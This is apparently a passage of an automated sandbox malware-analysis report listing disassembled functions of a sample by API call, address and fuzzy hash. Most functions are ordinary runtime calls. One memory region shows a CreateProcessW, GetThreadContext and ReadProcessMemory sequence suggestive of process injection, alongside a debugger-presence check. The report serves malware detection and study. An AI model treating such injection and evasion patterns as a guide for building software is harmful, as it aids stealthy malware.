Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: f8c340bfaa688c953e9b55c1c33cd8b5539f02c79f52b1c5e620512fc78750ad
Instruction ID: 2faa85a3f451d1da50dd7fd1d3c79c20f208bc68443b6e595ad44a0b65bc8f3f
Opcode Fuzzy Hash: f8c340bfaa688c953e9b55c1c33cd8b5539f02c79f52b1c5e620512fc78750ad
Instruction Fuzzy Hash: BFD05E7954030DABDB50ABA0DC0EFDA777CE704700F0042B1BA54920A1EAB095A98B91

Function 0010CADD Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ace8e9a8df9468ed57a14d062a6e120bd7e0fca1f51adbe39aeefdff4a7e0b8
Instruction ID: ae25e3ec76b692dfe60d10bec7ac0d2344673c3ba495303482982dc4a487dead
Opcode Fuzzy Hash: 5ace8e9a8df9468ed57a14d062a6e120bd7e0fca1f51adbe39aeefdff4a7e0b8
Instruction Fuzzy Hash: FCF14C716083059FCB14DF28C480A6ABBE5FF89314F14892EF8999B392D771E945CF82

Function 0009F76F Relevance: 4.7, APIs: 3, Instructions: 168comCOMMON

Download Yara Rule

APIs

Part of subcall function 000B0162: MapVirtualKeyW.USER32(0000005B,00000000), ref: 000B0193
Part of subcall function 000B0162: MapVirtualKeyW.USER32(00000010,00000000), ref: 000B019B
Part of subcall function 000B0162: MapVirtualKeyW.USER32(000000A0,00000000), ref: 000B01A6
Part of subcall function 000B0162: MapVirtualKeyW.USER32(000000A1,00000000), ref: 000B01B1
Part of subcall function 000B0162: MapVirtualKeyW.USER32(00000011,00000000), ref: 000B01B9
Part of subcall function 000B0162: MapVirtualKeyW.USER32(00000012,00000000), ref: 000B01C1

Part of subcall function 000A60F9: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,0009F930), ref: 000A6154

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 0009F9CD
OleInitialize.OLE32(00000000), ref: 0009FA4A
CloseHandle.KERNEL32(00000000), ref: 000D45C8

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: 8c9f81b4401ed265d8e6b8bc1865e0c6b62f5ef2f6ea47af5089d0da850ccc4b
Instruction ID: d5170ffab1984826f09cd8204d1bf9834fc57dcc02e1c0336b0286b9e2e16d6c
Opcode Fuzzy Hash: 8c9f81b4401ed265d8e6b8bc1865e0c6b62f5ef2f6ea47af5089d0da850ccc4b
Instruction Fuzzy Hash: 2581B9B0921B40CFC784DF69A9646697BE7BB98307790812A9429CFA72FB7054C5CF11

Function 0009434A Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00094370
Shell_NotifyIconW.SHELL32(00000000,?), ref: 00094415
Shell_NotifyIconW.SHELL32(00000001,?), ref: 00094432

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: IconNotifyShell_$_memset
String ID:
API String ID: 1505330794-0
Opcode ID: 40f5d74d8221f742be3f3e3aacdd4ec05dc2f1402960e7720c2b5ce13855ee79
Instruction ID: 0d45502069b5d5b1aa71d1c645835c300a8f0b0109fec226af74d5e3100db4fa
Opcode Fuzzy Hash: 40f5d74d8221f742be3f3e3aacdd4ec05dc2f1402960e7720c2b5ce13855ee79
Instruction Fuzzy Hash: 2F31A2B0504701DFDB60DF74D884A9BBBF8FB48309F00492EF69A86651E770A989DB52

Function 000B571C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 000B5733

Part of subcall function 000BA16B: __NMSG_WRITE.LIBCMT ref: 000BA192
Part of subcall function 000BA16B: __NMSG_WRITE.LIBCMT ref: 000BA19C

__NMSG_WRITE.LIBCMT ref: 000B573A

Part of subcall function 000BA1C8: GetModuleFileNameW.KERNEL32(00000000,001533BA,00000104,?,00000001,00000000), ref: 000BA25A
Part of subcall function 000BA1C8: ___crtMessageBoxW.LIBCMT ref: 000BA308

Part of subcall function 000B309F: ___crtCorExitProcess.LIBCMT ref: 000B30A5
Part of subcall function 000B309F: ExitProcess.KERNEL32 ref: 000B30AE

Part of subcall function 000B8B28: __getptd_noexit.LIBCMT ref: 000B8B28

RtlAllocateHeap.NTDLL(01690000,00000000,00000001,00000000,?,?,?,000B0DD3,?), ref: 000B575F

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: c3b10f1a2501258a60537bcef8c8db7c49d1ce9a71b01ad6ccd657e573d5a457
Instruction ID: 01802fa25f5e39a05e6e6afa1774af8e6fc5c9c97556bd5d87d99da43483de65
Opcode Fuzzy Hash: c3b10f1a2501258a60537bcef8c8db7c49d1ce9a71b01ad6ccd657e573d5a457
Instruction Fuzzy Hash: 2401F135388B01EAD6602B79FC82BEE77C8CF82763F200569F5159B192EFB08D408760

Function 000F98A2 Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,000F9548,?,?,?,?,?,00000004), ref: 000F98BB
SetFileTime.KERNELBASE(00000000,?,00000000,?,?,000F9548,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 000F98D1
CloseHandle.KERNEL32(00000000,?,000F9548,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 000F98D8

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: File$CloseCreateHandleTime
String ID:
API String ID: 3397143404-0
Opcode ID: a4894ad9e5c7226ebe379e1cc00c2bfa00ec616d518a614e923239a6e397a784
Instruction ID: 6dbcb9e7032fb2dfed31bf0da541b1ad677c2dcee13c5eaf1e696ba028870078
Opcode Fuzzy Hash: a4894ad9e5c7226ebe379e1cc00c2bfa00ec616d518a614e923239a6e397a784
Instruction Fuzzy Hash: 2AE08632180618B7D7212B54ED0DFDE7B59AB06760F108224FB24694E0C7B115529798

Function 000F8D0D Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 000F8D1B

Part of subcall function 000B2D55: RtlFreeHeap.NTDLL(00000000,00000000,?,000B9A24), ref: 000B2D69
Part of subcall function 000B2D55: GetLastError.KERNEL32(00000000,?,000B9A24), ref: 000B2D7B

_free.LIBCMT ref: 000F8D2C
_free.LIBCMT ref: 000F8D3E

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: c56cf7ee783aa8295308e84720220828ccc4d403300e1e82c1220f1652f177a4
Instruction ID: d8af5375089decaa4ff26403fefb52c041303bbae49010dac03b1a1532ab0e79
Opcode Fuzzy Hash: c56cf7ee783aa8295308e84720220828ccc4d403300e1e82c1220f1652f177a4
Instruction Fuzzy Hash: 59E017A161160546CB64A6B8A940AEB23EC4FA8352B14491EB60DD7587CE64F8829228

Function 0009A9C3 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 534COMMON

Download Yara Rule

Strings

CALL, xrefs: 000CFC01

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: f2a7512b855f50d8fcf26ff698698cfbfeab081034a0ae6d8b5e88b211b51e05
Instruction ID: b94d21adc9b70fe13dd2d9cc4b912783065d6da3e2f9665ec15f9718b3537311
Opcode Fuzzy Hash: f2a7512b855f50d8fcf26ff698698cfbfeab081034a0ae6d8b5e88b211b51e05
Instruction Fuzzy Hash: A1224770608301DFCB64DF14C494B6AB7E1BF85314F15896DE89A9B362D731EC45EB82

Function 00094C70 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00094CBA

Strings

EA06, xrefs: 000CD8CC

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: _memmove
String ID: EA06
API String ID: 4104443479-3962188686
Opcode ID: fbadbc387ebc63da4cb6fdfca1246d846c5e306e134e9fd998d280f3dc276cfb
Instruction ID: 53f53219b9b7f0af3b6d91dab33ab9734515682c0ce51be95f6d16f312034f87
Opcode Fuzzy Hash: fbadbc387ebc63da4cb6fdfca1246d846c5e306e134e9fd998d280f3dc276cfb
Instruction Fuzzy Hash: 8F418B35A051585BDF269B648CA1FFF7FE2DB46300F284475FC829B283D6209D46B3A1

Function 00097A51 Relevance: 3.1, APIs: 2, Instructions: 97COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00097AAB
_memmove.LIBCMT ref: 00097B16

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 75b3ef76dc9c1d7680ff1126038a0b5bca49f3ec50bdc15de679bd26e1e87542
Instruction ID: 8ce18709e0822df3dd6dd89cb52ea3f13f88255f4607024a4ffef6c4707ed2c0
Opcode Fuzzy Hash: 75b3ef76dc9c1d7680ff1126038a0b5bca49f3ec50bdc15de679bd26e1e87542
Instruction Fuzzy Hash: 2B3175B2614506AFCB14DF68C8D1E6DB3A5FF483107158629E51DCB791EB30E950DB90

Function 000947D0 Relevance: 3.1, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00094834

Part of subcall function 000B336C: __lock.LIBCMT ref: 000B3372
Part of subcall function 000B336C: DecodePointer.KERNEL32(00000001,?,00094849,000E7C74), ref: 000B337E
Part of subcall function 000B336C: EncodePointer.KERNEL32(?,?,00094849,000E7C74), ref: 000B3389

Part of subcall function 000948FD: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00094915
Part of subcall function 000948FD: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 0009492A

Part of subcall function 00093B3A: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00093B68
Part of subcall function 00093B3A: IsDebuggerPresent.KERNEL32 ref: 00093B7A
Part of subcall function 00093B3A: GetFullPathNameW.KERNEL32(00007FFF,?,?,001552F8,001552E0,?,?), ref: 00093BEB
Part of subcall function 00093B3A: SetCurrentDirectoryW.KERNEL32(?), ref: 00093C6F

SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00094874

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
String ID:
API String ID: 1438897964-0
Opcode ID: dfe0ae55514605609a18f24a348d41656aed35e7e7a6043fc7b3ccfda29dd391
Instruction ID: 09009195d2d298daf867636a3554fe0389622c0812a4e96e7c7a13eb8d09773e
Opcode Fuzzy Hash: dfe0ae55514605609a18f24a348d41656aed35e7e7a6043fc7b3ccfda29dd391
Instruction Fuzzy Hash: 0C116D71918341DFCB00DF29D84599FBBE8EF85751F10451EF4849B2B2DB709689CB92

Function 000B0DB6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000B571C: __FF_MSGBANNER.LIBCMT ref: 000B5733
Part of subcall function 000B571C: __NMSG_WRITE.LIBCMT ref: 000B573A
Part of subcall function 000B571C: RtlAllocateHeap.NTDLL(01690000,00000000,00000001,00000000,?,?,?,000B0DD3,?), ref: 000B575F

std::exception::exception.LIBCMT ref: 000B0DEC
__CxxThrowException@8.LIBCMT ref: 000B0E01

Part of subcall function 000B859B: RaiseException.KERNEL32(?,?,?,00149E78,00000000,?,?,?,?,000B0E06,?,00149E78,?,00000001), ref: 000B85F0

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: 586289ed561a154f4d12130117ac02a5b073cbc9a40477ed1cd5aff852625902
Instruction ID: cc4a66d490ea3c75392d96b7793ef92b687e794546a3c023d7ce1dc40fb0d081
Opcode Fuzzy Hash: 586289ed561a154f4d12130117ac02a5b073cbc9a40477ed1cd5aff852625902
Instruction Fuzzy Hash: C3F0A43150021D76DB20AAD4ED059DF77EC9F01351F504469F914A6192DF709A90C2D1

Function 000B55FD Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 000B562C
__lock_file.LIBCMT ref: 000B564D

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: 94d6e5538963aeeb01166a2aed726e8b5f0b8aef66941b7793b9d14d96ed87b9
Instruction ID: b5a5b1f1dacc689d3b4bd112754fc3d615685197f8d08beb4f3a5f0c3643a746
Opcode Fuzzy Hash: 94d6e5538963aeeb01166a2aed726e8b5f0b8aef66941b7793b9d14d96ed87b9
Instruction Fuzzy Hash: 2E01DB71800A08EBCF22BF68DC029DF7FA1EF51362F558155F8142B2A2DB318A52DF91

Function 000B53A6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000B8B28: __getptd_noexit.LIBCMT ref: 000B8B28

__lock_file.LIBCMT ref: 000B53EB

Part of subcall function 000B6C11: __lock.LIBCMT ref: 000B6C34

__fclose_nolock.LIBCMT ref: 000B53F6

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: 6916d2c6e6f95cad57759913f9c63055287cce8141ac5f286df4a0d381c2bbb9
Instruction ID: d7e3181591db6a6861340e598c1e5b9fe4a70ef79c0a55ce5e9bcb77e64b884b
Opcode Fuzzy Hash: 6916d2c6e6f95cad57759913f9c63055287cce8141ac5f286df4a0d381c2bbb9
Instruction Fuzzy Hash: A1F0BB31800A049ADB206F759C027ED7BF46F41776F25C155A424AB2D3CFFC8A429B51

Function 01873F0D Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 0187473D
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 01874761
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 01874783

Memory Dump Source

Source File: 00000002.00000002.1320756058.0000000001872000.00000040.00000020.00020000.00000000.sdmp, Offset: 01872000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1872000_2NJzy3tiny.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: d88754d343c0358fec48bb39518f6d050a5efe1528146ba10a354079ac39ca1d
Instruction ID: e4ed5e05f256a35387997941a65ca7d69717af9b1b112af40d6a1b63c52614e1
Opcode Fuzzy Hash: d88754d343c0358fec48bb39518f6d050a5efe1528146ba10a354079ac39ca1d
Instruction Fuzzy Hash: BE12CF24E24658C6EB24DF64D8507DEB232EF68300F1094E9910DEB7A5E77A4F81CF5A

Function 000B0C08 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 000B0CB7

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: fa708940eb8235c154a703223b0f0aad2ff131db4c4303faca436a735ac72513
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: DE31D270A001099FC758DF58C495AAEFBA6FB59300B6487A5E80ACB361DB31EDC1DBC0

Function 000CFCAC Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 000CFCB7

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 2777d83fd33c1466b4872a64f67c496111d4a1f2de2820dcf653e7b30e98c7e8
Instruction ID: 38242fe5fbff7b872b49694f078a656fb08d5368a9f37a2e3e11d9b09a2232ff
Opcode Fuzzy Hash: 2777d83fd33c1466b4872a64f67c496111d4a1f2de2820dcf653e7b30e98c7e8
Instruction Fuzzy Hash: 82410774604341CFDB64DF18C448B5ABBE1BF45318F0988ACE89A8B762C736E845DF92

Function 00097B53 Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00097BB3

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 27b08cd65a9ffdc766ed6b7f48a7df3fd036ffd9d5f3e144c4bc33d903bfee13
Instruction ID: d11391d00482dd29998a54950917f442fda6a4d2e228e55acc014bff1733f198
Opcode Fuzzy Hash: 27b08cd65a9ffdc766ed6b7f48a7df3fd036ffd9d5f3e144c4bc33d903bfee13
Instruction Fuzzy Hash: E0212872614A09EBDF248F15EC81BAE7BB4FF14350F25842DE48AC51A1EB30D5D1D745

Function 0009784B Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00097899

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: debd4a192cd98d234165f3013593147144481ea24bfc443804d127757904428b
